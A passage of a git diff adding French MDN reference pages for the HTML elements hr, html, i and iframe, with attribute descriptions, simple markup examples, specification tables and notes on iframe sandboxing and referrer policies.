+ <dd>Définit la couleur à utiliser pour la ligne horizontale, grâce à un nom de couleur SVG ou à un code hexadécimal (précédé d'un #).</dd>
+ <dt>{{htmlattrdef("noshade")}} {{deprecated_inline}}</dt>
+ <dd>Avec cet attribut, la ligne horizontale n'aura pas d'ombre.</dd>
+ <dt>{{htmlattrdef("size")}} {{deprecated_inline}}</dt>
+ <dd>Définit la hauteur de la ligne, exprimée en pixels.</dd>
+ <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
+ <dd>Définit la longueur de la ligne, exprimée par une valeur en pixels ou en pourcents.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Ceci est le premier paragraphe du texte.
+  Les pandas roux sont géniaux.
+  C'est mignon et c'est tout doux.
+&lt;/p&gt;
+
+&lt;hr&gt;
+
+&lt;p&gt;
+  Ceci est le deuxième paragraphe du texte.
+  Les poneys ne sont pas pareils.
+  Ils sont plus grands et moins exotiques.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu" title="HTML/Content_categories">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content categories#Flow content">Contenu de flux</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Aucun, c'est un élément vide.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>Cet élément doit avoir une balise ouvrante mais ne doit pas avoir de balise fermante.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content categories#Flow content">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLHRElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-hr-element', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition de l'élément <code>hr</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'rendering.html#the-hr-element-0')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Suggestion de rendu par défaut de l'élément <code>hr</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-hr-element', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.3', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Les attributs <code>align</code>, <code>noshade</code>, <code>size</code>, <code>width</code> sont désormais dépréciés.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.hr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("p")}} qui permet de constituer des paragraphes.</li>
+</ul>
diff --git a/files/fr/web/html/element/html/index.html b/files/fr/web/html/element/html/index.html
new file mode 100644
index 0000000000..7173c8eae9
--- /dev/null
+++ b/files/fr/web/html/element/html/index.html
@@ -0,0 +1,126 @@
+---
+title: '<html> : l''élément de racine du document HTML'
+slug: Web/HTML/Element/html
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/html
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;html&gt;</code></strong> représente la racine d'un document HTML ou XHTML. Tout autre élément du document doit être un descendant de cet élément.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("manifest")}}{{obsolete_inline}}</dt>
+ <dd>Définit l'URI d'un manifeste de ressources signifiant que les ressources devraient être mises en cache localement. Voir <a href="/fr/docs/Utiliser_Application_Cache" title="en/Offline_resources_in_Firefox">Ressources hors-ligne dans Firefox</a> pour plus de détails.</dd>
+ <dt>{{htmlattrdef("version")}}{{obsolete_inline}}</dt>
+ <dd>Définit la version du document HTML <em>Document Type Definition</em> qui s'applique pour le document courant. Cet attribut n'est pas nécessaire car il est redondant avec l'information de version se trouvant dans la déclaration de type du document (<em>doctype</em>).</dd>
+ <dt>{{htmlattrdef("xmlns")}}</dt>
+ <dd>Définit l'espace de noms XML du document. La valeur par défaut est "http://www.w3.org/1999/xhtml". Cet attribut est obligatoire dans un document XML et optionnel dans un document de type text/html.</dd>
+</dl>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Le DOCTYPE utilisé dans l'exemple suivant indique que le document est un document HTML5.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html lang="fr"&gt;
+  &lt;head&gt;...&lt;/head&gt;
+  &lt;body&gt;...&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Puisque l'élément <code>&lt;html&gt;</code> est le premier élément dans un document, autre que les commentaires, il est désigné comme l'élément racine du document. Bien que cette balise soit implicite, ou non requise dans un document <a href="/fr/docs/Web/HTML">HTML</a>, il est requis dans un document <a href="/fr/docs/XHTML">XHTML</a> (à la fois pour la balise ouvrante et pour la balise fermante).</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>L'utilisation d'un attribut {{htmlattrxref("lang")}} <a href="https://www.ietf.org/rfc/bcp/bcp47.txt">valide (au sens de l'IETF)</a> pour l'élément HTML permettra aux lecteurs d'écran de déterminer la langue à utiliser pour l'énonciation. La balise de langage utilisée doit correspondre à celle utilisée pour la majorité du contenu de la page. Sans cet attribut, les lecteurs d'écran utiliseront la lange paramétrée par le système d'exploitation, ce qui pourra entraîner des défauts de prononciations.</p>
+
+<p>Ajouter un attribut <code>lang</code> valide au sein de l'élément HTML permet également de s'assurer que les métadonnées importantes contenue dans l'élément {{HTMLElement("head")}}, telle que le titre de la page (cf. {{HTMLElement("title")}}) sont énoncées correctement.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Understandable#Guideline_3.1_%E2%80%94_Readable_Make_text_content_readable_and_understandable">Comprendre les règles WCAG 3.1</a></li>
+ <li><em><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/meaning-doc-lang-id.html">Understanding Success Criterion 3.1.1 - W3C Understanding WCAG 2.0</a></em></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td>Aucune</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Un élément {{HTMLElement("head")}} suivi par un élément {{HTMLElement("body")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>La balise de début peut être absente si le premier objet appartenant à l'élément <code>&lt;html&gt;</code> n'est pas un commentaire.<br>
+    La balise de fin peut être absente si l'élément <code>&lt;html&gt;</code> n'est pas directement suivi par un commentaire et qu'il contient un élément {{HTMLElement("body")}} qui n'est ni vide ou dont la balise de début est présente.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Aucun élément, c'est la racine du document.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Aucun.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLHtmlElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'semantics.html#the-html-element', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Ajout de l'attribut <code>manifest</code>. L'attribut <code>version</code> est désormais obsolète.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.3', '&lt;html&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>L'attribut <code>version</code> est désormais déprécié.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.html")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément MathML de plus haut niveau : {{MathMLElement("math")}}</li>
+ <li>L'élément SVG de plus haut niveau : {{SVGElement("svg")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/i/index.html b/files/fr/web/html/element/i/index.html
new file mode 100644
index 0000000000..7ba5f14692
--- /dev/null
+++ b/files/fr/web/html/element/i/index.html
@@ -0,0 +1,126 @@
+---
+title: <i>
+slug: Web/HTML/Element/i
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/i
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;i&gt;</code></strong> représente un morceau de texte qui se différencie du texte principal. Cela peut par exemple être le cas pour des termes techniques, des phrases dans une langue étrangère ou encore l'expression des pensées d'un personnage. Le contenu de cet élément est généralement affiché en italique.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/i.html", "tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément possède uniquement <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  La phrase latine
+  &lt;i class="latin"&gt;
+    Veni, vidi, vici
+  &lt;/i&gt;
+  est souvent employée en littérature.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","200")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Dans certaines versions antérieures de HTML, la balise <code>&lt;i&gt;</code> ne jouait qu'un rôle de mise en forme, utilisé pour afficher le texte en italique (de la même façon que la balise &lt;b&gt; était utilisée pour afficher le texte en gras). Désormais, ces balises ont un rôle strictement sémantique et l'élément &lt;i&gt; représente une portion de texte dont la sémantique est différente, la représentation choisie pour cela par le navigateur étant la plupart du temps une mise en italique. Cela signifie que le navigateur affiche généralement le contenu en italique comme c'était le cas auparavant mais que ce traitement de mise en forme n'est plus du tout obligatoire.</p>
+
+<p>Cet élément ne doit être utilisé seulement si aucun autre ne permet d'exprimer la sémantique du contenu de façon plus appropriée. Ainsi :</p>
+
+<ul>
+ <li>{{HTMLElement("em")}} doit être utilisé pour insister, mettre l'accent sur le contenu</li>
+ <li>{{HTMLElement("strong")}} doit être utilisé pour exprimer l'importance du contenu</li>
+ <li>{{HTMLElement("mark")}} doit être utilisé pour exprimer la pertinence du contenu</li>
+ <li>{{HTMLElement("cite")}} doit être utilisé pour marquer le nom d'une œuvre telle qu'un livre, une pièce ou une chanson.</li>
+ <li>{{HTMLElement("dfn")}} doit être utilisé pour souligner l'occurence d'un mot utilisée pour sa définition</li>
+</ul>
+
+<p>C'est une bonne pratique que d'utiliser l'attribut <code><strong>class</strong></code> pour identifier les raisons qui poussent à utiliser cet élément. Cela permet par exemple de maintenir la mise en forme du document plus efficacement grâce aux feuilles de style CSS.</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><dfn><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></dfn></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">Contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément acceptant du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_phras.C3.A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td><dfn>Interface DOM </dfn> {{domxref("HTMLElement")}}. </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-i-element', '&lt;i&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-i-element', '&lt;i&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.2.1', '&lt;b&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.i")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("em")}} qui permet d'indiquer une emphase et qui ne doit pas être confondu avec l'élément <code>&lt;i&gt;</code></li>
+</ul>
diff --git a/files/fr/web/html/element/iframe/index.html b/files/fr/web/html/element/iframe/index.html
new file mode 100644
index 0000000000..1ce4ef0446
--- /dev/null
+++ b/files/fr/web/html/element/iframe/index.html
@@ -0,0 +1,274 @@
+---
+title: <iframe>
+slug: Web/HTML/Element/iframe
+tags:
+  - Contenu
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/iframe
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;iframe&gt;</code></strong> représente un contexte de navigation imbriqué qui permet en fait d'obtenir une page HTML intégrée dans la page courante. Le contexte de navigation qui contient le contenu intégré est appelé « contexte de navigation parent ». Le contexte de navigation le plus élevé (qui n'a pas de contexte parent) correspond généralement à la fenêtre du navigateur (cf. {{domxref("Window")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/iframe.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Chaque contexte de navigation possède son propre historique et son propre document actif.</p>
+
+<p>Chaque contexte de navigation créé par un élément <code>&lt;iframe&gt;</code> représente un document à part entière et cela peut donc augmenter les ressources nécessaires à l'utilisation de la page. Aussi bien qu'en théorie on puisse ajouter autant d'<em>iframes</em> que possible sur autant de niveaux d'imbrication que voulus, on gardera à l'esprit que cela peut nuire aux performances.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend en charge <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("allow")}}</dt>
+ <dd>L'attribut <code>allow</code> permet de définir une <a href="/fr/docs/Web/HTTP/Feature_Policy">politique de fonctionnalité</a> pour l'<em>iframe</em>.</dd>
+ <dt>{{htmlattrdef("allowfullscreen")}}</dt>
+ <dd>Cet attribut, lorsqu'il vaut <code>true</code><em>(vrai)</em> indique que l'<em>iframe</em> intégré peut être passé en plein écran via la méthode{{domxref("Element.requestFullscreen()")}}.
+ <p class="note">Cet attribut est considéré comme historique et a été redéfini avec <code>allow="fullscreen"</code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("allowpaymentrequest")}}</dt>
+ <dd>Cet attribut, lorsqu'il vaut <code>true</code>, permet à l'<em>iframe</em> intégré d'appeler l'API <a href="https://developer.mozilla.org/en-US/docs/Web/API/Payment_Request_API">Payment Request</a>.
+ <p class="note">Cet attribut est considéré comme historique et a été redéfini avec <code>allow="payment"</code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("csp")}}{{experimental_inline}}</dt>
+ <dd>L'attribut <code>csp</code> définit <a href="/fr/docs/Web/HTTP/CSP">la politique de sécurité du contenu</a> que le document intégré doit respecter.</dd>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>Cet attribut définit la hauteur du cadre en pixels CSS ({{HTMLVersionInline(5)}}). En {{HTMLVersionInline(4.01)}}, elle peut être exprimée en pixels ou en pourcentages.</dd>
+ <dt>{{htmlattrdef("importance")}} {{experimental_inline}}</dt>
+ <dd>Cet attribut indique l'importance de la ressource. La priorité est indiquée au navigateur à l'aide d'une des valeurs suivantes :
+ <dl>
+  <dt><code>auto</code></dt>
+  <dd>Cette valeur indique l'absence de préférence. Le navigateur pourra utiliser sa propre heuristique afin de décider de la priorité de la ressource. C'est la valeur par défaut.</dd>
+  <dt><code>high</code></dt>
+  <dd>Cette valeur indique au navigateur que la ressource a une priorité haute.</dd>
+  <dt><code>low</code></dt>
+  <dd>Cette valeur indique au navigateur que la ressource a une priorité basse.</dd>
+ </dl>
+ </dd>
+ <dt id="name-attribute">{{htmlattrdef("name")}}</dt>
+ <dd>Un nom pour le contexte de navigation (ou la <em>frame</em>). Ce nom peut être utilisé comme la valeur de l'attribut <code><strong>target</strong></code> <em>(cible)</em> d'un élément {{HTMLElement("a")}} ou {{HTMLElement("form")}} <em>(formulaire)</em> ou comme valeur de l'attribut <strong><code>formtarget</code></strong> d'un élément {{HTMLElement("input")}} <em>(entrée)</em> ou {{HTMLElement("button")}} <em>(bouton)</em>. Il peut également être utilisé comme valeur pour le paramètre <code>windowName</code> de la méthode {{domxref("Window.open()","window.open()")}}.</dd>
+ <dt id="attr-referrer">{{htmlattrdef("referrerpolicy")}}</dt>
+ <dd>Une chaîne de caractères qui indique le référent (<em>referrer</em>) à utiliser lors de la récupération de la ressource :
+ <ul>
+  <li><code>no-referrer</code> signifie que l'en-tête {{HTTPHeader("Referer")}} ne sera pas envoyé.</li>
+  <li><code>no-referrer-when-downgrade</code> signifie qu'aucune en-tête <code>Referrer</code> ne sera envoyé lorsqu'on navigue vers une origine qui n'utilise pas TLS (HTTPS). C'est le comportement par défaut de l'agent utilisateur.</li>
+  <li><code>origin</code> signifie que le référent sera l'origine de la page (c'est-à-dire son schéma, son hôte et le port utilisé).</li>
+  <li><code>origin-when-cross-origin</code> signifie que les navigations vers d'autres origines seront limitées aux schémas, hôtes et ports. Les navigations sur la même origine inclueront le chemin explicite du référent.</li>
+  <li><code>same-origin</code> un référent sera envoyé pour <a href="/fr/docs/Web/JavaScript/Same_origin_policy_for_JavaScript">les origines du même site</a> mais les requêtes multi-origines ne contiendront pas d'informations de référent.</li>
+  <li><code>strict-origin</code> seule l'origine du document est envoyée comme référent lorsque le protocole de sécurité est le même (HTTPS→HTTPS). L'origine n'est pas envoyée lorsque la destination est moins sécurisée (HTTPS→HTTP).</li>
+  <li><code>strict-origin-when-cross-origin</code> : l'URL complète est envoyée pour les requêtes de même origine, seule l'origine est envoyée lorsque le protocole de sécurité est le même (HTTPS→HTTPS) et aucun en-tête n'est envoyé pour une destination moins sécurisée (HTTPS→HTTP).</li>
+  <li><code>unsafe-url</code> signifie que le référent incluera l'origine et le chemin (mais pas le fragment, le mot de passe ou le nom utilisateur). Cette valeur n'est pas sûre car elle peut entraîner des fuites d'origine ou de chemin provenant de ressources sécurisées avec TLS vers des origines insécures.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("sandbox")}}</dt>
+ <dd>Cet attribut permet d'appliquer des restrictions sur le contenu qui peut apparaître dans l'<em>iframe</em>. Si cet attribut vaut la chaîne de caractères vide, toutes les restrictions sont appliquées, sinon, on peut utiliser une liste de mots-clés séparés par des espaces pour définir des restrictions précises. Les mots-clés qui peuvent être utilisés sont :
+ <ul>
+  <li><code>allow-downloads-without-user-activation</code> {{experimental_inline}} : permet aux téléchargements d'avoir lieu sans un signe de l'utilisateur.</li>
+  <li><code>allow-forms</code> : le contexte de navigation intégré peut envoyer des formulaires. Si ce mot-clé n'est pas utilisé, cette opération n'est pas autorisée.</li>
+  <li><code>allow-modals</code> : le contexte de navigation peut ouvrir des fenêtres modales.</li>
+  <li><code>allow-orientation-lock</code> : le contexte de navigation peut désactiver le verrouillage de l'orientation de l'écran.</li>
+  <li><code>allow-pointer-lock</code> : le contexte de navigation peut utliser <a href="/fr/docs/WebAPI/Pointer_Lock">l'API Pointer Lock</a>.</li>
+  <li><code>allow-popups</code> : le contexte de navigation peut déclencher des fenêtres contextuelles (par exemple avec <code>window.open</code>, <code>target="_blank"</code>, <code>showModalDialog</code>). Si ce mot-clé n'est pas utilisé, la fonctionnalité échouera sans message d'erreur.</li>
+  <li><code>allow-popups-to-escape-sandbox</code> : ce mot-clé permet à un document isolé dans un bac à sable (<em>sandboxed</em>) d'ouvrir de nouvelles fenêtres sans avoir à forcer la mise en bac à sable pour ces fenêtres. Cela permettra par exemple à une publicité tierce d'être correctement mise dans un bac à sable sans appliquer les mêmes restrictions sur la page initiale.</li>
+  <li><code>allow-presentation</code> : ce mot-clé permet à un <em>iframe</em> de démarrer <a href="/fr/docs/Web/API/PresentationRequest">une session de présentation</a>.</li>
+  <li><code>allow-same-origin</code> : ce mot-clé permet au document isolé de supporter les tests de {{Glossary("same-origin policy")}} en désactivant le remplacement de l'origine de l'<em>iframe</em> par une origine unique.</li>
+  <li><code>allow-scripts</code> : le contexte de navigation peut exécuter des scripts (mais ne peut pas créer de fenêtres contextuelles). Si ce mot-clé n'est pas utilisé, cette opération n'est pas autorisée.</li>
+  <li><code>allow-storage-access-by-user-activation</code> {{experimental_inline}} : ce mot-clé permet au contexte de navigation embarqué de demander l'accès aux fonctionnalités de stockage du document parent (ex. ses cookies, <a href="/fr/docs/Web/API/Web_Storage_API">le stockage web</a>) grâce à l'<a href="/fr/docs/Web/API/Storage_Access_API">API Storage Access</a>.</li>
+  <li><code>allow-top-navigation</code> : le contexte de navigation peut charger du contenu depuis le contexte de navigation de plus haut niveau. Si ce mot-clé est absent, cette opération n'est pas autorisée.</li>
+  <li><code>allow-top-navigation-by-user-activation</code> : le contexte de navigation peut charger du contenu depuis le contexte de plus haut niveau uniquement si l'action provient de l'utilisateur. Si ce mot-clé est absent, cette opération n'est pas autorisée.</li>
+ </ul>
+
+ <div class="note">
+ <p><strong>Notes :</strong></p>
+
+ <ul>
+  <li>Lorsque le document intégré possède la même origine que la page principale, il est fortement déconseillé d'employer <code>allow-scripts</code> et <code>allow-same-origin</code> simultanément car cela permet de retirer l'attribut <code>sandbox</code>par programme. Bien que ce soit accepté, ce cas de figure n'est pas plus sûr que de ne pas utiliser l'attribut <code>sandbox</code>.</li>
+  <li>La mise en bac à sable (<em>sandboxing</em>) est d'une aide minime si un attaquant peut faire en sorte qu'un contenu potentiellement hostile soit affiché dans le navigateur de l'utilisateur en dehors d'un <em>iframe</em> sous sandbox. Aussi, il est recommandé de diffuser le contenu depuis un domaine dédié séparé, afin de limiter les éventuels dommages.</li>
+  <li>L'attribut <code>sandbox</code> n'est pas pris en charge par Internet Explorer 9 et les versions antérieures.</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{htmlattrdef("src")}}</dt>
+ <dd>L'URL de la page qu'on souhaite intégrer. On pourra utiliser <code>about:blank</code> pour les pages vides afin de respecter les règles de même origine (<em>Same-Origin Policy</em>). On notera également que retirer l'attribut <code>src</code> d'un élément <code>&lt;iframe&gt;</code> à l'aide d'un script (par exemple avec {{domxref("Element.removeAttribute()")}}) provoquera le chargement de <code>about:blank</code> dans la <em>frame</em> pour Firefox à partir de la version 65, pour les navigateurs basés sur Chromium ainsi que pour Safari.</dd>
+ <dt>{{htmlattrdef("srcdoc")}}</dt>
+ <dd>Le contenu de la page qu'on souhaite intégrer dans le contexte de navigation. Cet attribut est généralement utilisé avec l'attribut <code>sandbox</code>. Si le navigateur prend en charge l'attribut <code>srcdoc</code>, ce dernier surchargera le contenu éventuellement défini via l'attribut <code>src</code>. Si un navigateur ne prend pas en charge l'attribut <code>srcdoc</code>, c'est le contenu lié via <code>src</code> qui sera affiché. On notera que si le contenu de l'attribut contient une balise ouvrante <code>&lt;script&gt;</code>, il est nécessaire d'avoir une balise fermante afin que le script soit exécuté, même s'il n'y a aucun contenu après le script.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>Cet attribut indique la largeur de l'<em>iframe</em> en pixels CSS. Par défaut, cet attribut vaut <code>300</code>.</dd>
+</dl>
+
+<h3 id="Attributs_dépréciés_ou_obsolètes">Attributs dépréciés ou obsolètes</h3>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline("html4.01")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>Cet attribut obsolète permettait de définir l'alignement de l'<em>iframe</em> par rapport à son contexte englobant.</dd>
+ <dt>{{htmlattrdef("frameborder")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Lorsqu'il vaut 1 (la valeur par défaut), cet attribut indique au navigateur de définir une bordure entre ce cadre et tout autre cadre. Lorsqu'il vaut 0, aucune bordure n'est dessinée.</dd>
+ <dt>{{htmlattrdef("longdesc")}} {{obsolete_inline("html5")}}</dt>
+ <dd>Un URI vers une description détaillée du cadre. En raison d'un mauvais usage, cet attribut n'est pas utile pour les navigateurs non-visuels.</dd>
+ <dt>{{htmlattrdef("marginheight")}} {{obsolete_inline("html5")}}</dt>
+ <dd>L'espace, exprimé en pixels, entre le contenu du cadre et ses marges haute et basse.</dd>
+ <dt>{{htmlattrdef("marginwidth")}} {{obsolete_inline("html5")}}</dt>
+ <dd>L'espace, exprimé en pixels, entre le contenu du cadre et ses marges gauche et droite.</dd>
+ <dt>{{htmlattrdef("scrolling")}} {{HTMLVersionInline(4)}} uniquement</dt>
+ <dd>Un attribut à valeur contrainte qui indique si le navigateur doit afficher une barre de défilement (ou tout autre moyen de défilement) pour<em> </em>le cadre :
+ <ul>
+  <li><code>auto</code> : la barre de défilement est uniquement affichée lorsque c'est nécessaire.</li>
+  <li><code>yes</code> : la barre de défilement est toujours affichée.</li>
+  <li><code>no</code> : aucune barre de défilement n'est affichée.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Attributs_non-standard_non-standard_inline">Attributs non-standard {{non-standard_inline}}</h3>
+
+<dl>
+ <dt>{{htmlattrdef("mozbrowser")}} {{non-standard_inline}}</dt>
